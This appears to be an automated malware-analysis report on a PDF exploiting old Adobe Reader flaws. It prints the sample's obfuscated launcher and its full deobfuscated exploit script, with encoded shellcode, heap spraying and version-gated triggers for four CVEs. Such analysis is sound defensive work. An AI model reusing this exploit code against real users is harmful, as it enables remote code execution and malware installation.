Malicious PDF — malware analysis report

Static analysis result for SHA-256 7f12aac36352f994…

MALICIOUS

PDF

25.3 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2013-08-01
MD5: a7d405f7a13d2f45861eaa82b5f967c1 SHA-1: 012313c4328d1c0be5f0ae03c2ead663b152eee3 SHA-256: 7f12aac36352f9947308ddf87e1b13051cf82f9f4c5a280e7c9e42350beea2b1
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader. The deobfuscated JavaScript appears to be a stager designed to download and execute a second-stage payload, indicated by the large hexadecimal payload and heap spraying techniques. The primary attack vector is likely spearphishing attachment, leading to client execution via exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 565 bytes
SHA-256: 6cbe0277a784d321cf431de257c4a160da9b5c7e1797e66b931fb951fc0df450
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
dldgf='';
var q = date.getFullYear()-2007;
ubb='2011s'.replace(date.getFullYear(),'hi');
lma=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+ubb+'[a]');
var ysb = g(lma);
zwmg=('sub2011').replace(date.getFullYear(),'ject');
var tul=g(zwmg).replace(date.getFullYear(),'al');
eryv=g(tul);
bpidv='pro2011cer';
bpidv=eryv('bpidv.replace(date.getFullYear(),"du")');
pcu=eryv(g(bpidv));
blger = eryv(ysb);
for (i = 0; i < blger.length; i++) {
	xngcd = blger[i];
	dldgf += pcu(xngcd);
}
eryv(dldgf);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2FE 3636 bytes
SHA-256: 4ad4d51f4c37c3bffa2b2eb57ad6b9d6e63d4831115930e78f2f494cb0f01206
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ue634%ue2aa%uc3fa%ue5e8%uffff%u0fff%ue7ea%ue6e6%u67b8%uba0a%ue6e7%u6fe6%u6b01%uf6a9%u896b%ud7b2%ub13d%ub5b7%ub5b5%ub5b5%ub5b5%ub5b3%u8eb5%ue7e2%ue6e6%ub0b3%u8eb5%u8889%ue6e6%u938e%u8a94%ub28b%u688e%ue8a8%u0e0a%ue6ae%ue6e6%u0eb6%ue69a%ue6e6%u3619%u2265%u8eee%u09a9%ue3a9%u0eb6%ue68a%ue6e6%u3619%u2663%uf193%ub28c%u15bf%u8e4c%u1894%uf055%ufb0e%ue6e6%ub6e6%ub70e%ue6e6%u19e6%ub536%u188c%u6f8e%ue789%u0e5b%ue6ee%ue6e6%u0eb6%ue6da%ue6e6%u3619%ud786%u8226%ub66d%u6dd6%ueab4%ub46d%u6df2%uce94%ufe5f%ue6e6%ud7e6%ud719%u4a26%u87da%ue49a%uc6ca%u2927%ue7eb%u0421%u6716%ubd19%uac5a%u6d8c%uf6a4%uf46d%u3f93%ua26f%ufac2%u2587%u6d86%uc28a%u6dc2%udaa3%ub26d%u9ee3%u0ce7%uac6d%u6dfe%uc6bc%u0de7%ud205%u6daf%u6dd2%u08e7%u19d7%u26d7%u4a1a%u2662%ue192%u2927%ue7eb%u0d21%udd12%uc29a%u93ce%u6d07%uc2bc%u0de7%u6d80%uadea%ubc6d%ue7fa%u6d0d%u6de2%u0ee7%ua26f%ufac2%u2487%ue6ee%u090e%u1918%u8e19%u9292%udc96%uc9c9%u8797%u979c%u85c8%uc889%u8585%u82c9%u96c8%u968e%u80d9%ud4db%uc0d0%udb83%ue6d5';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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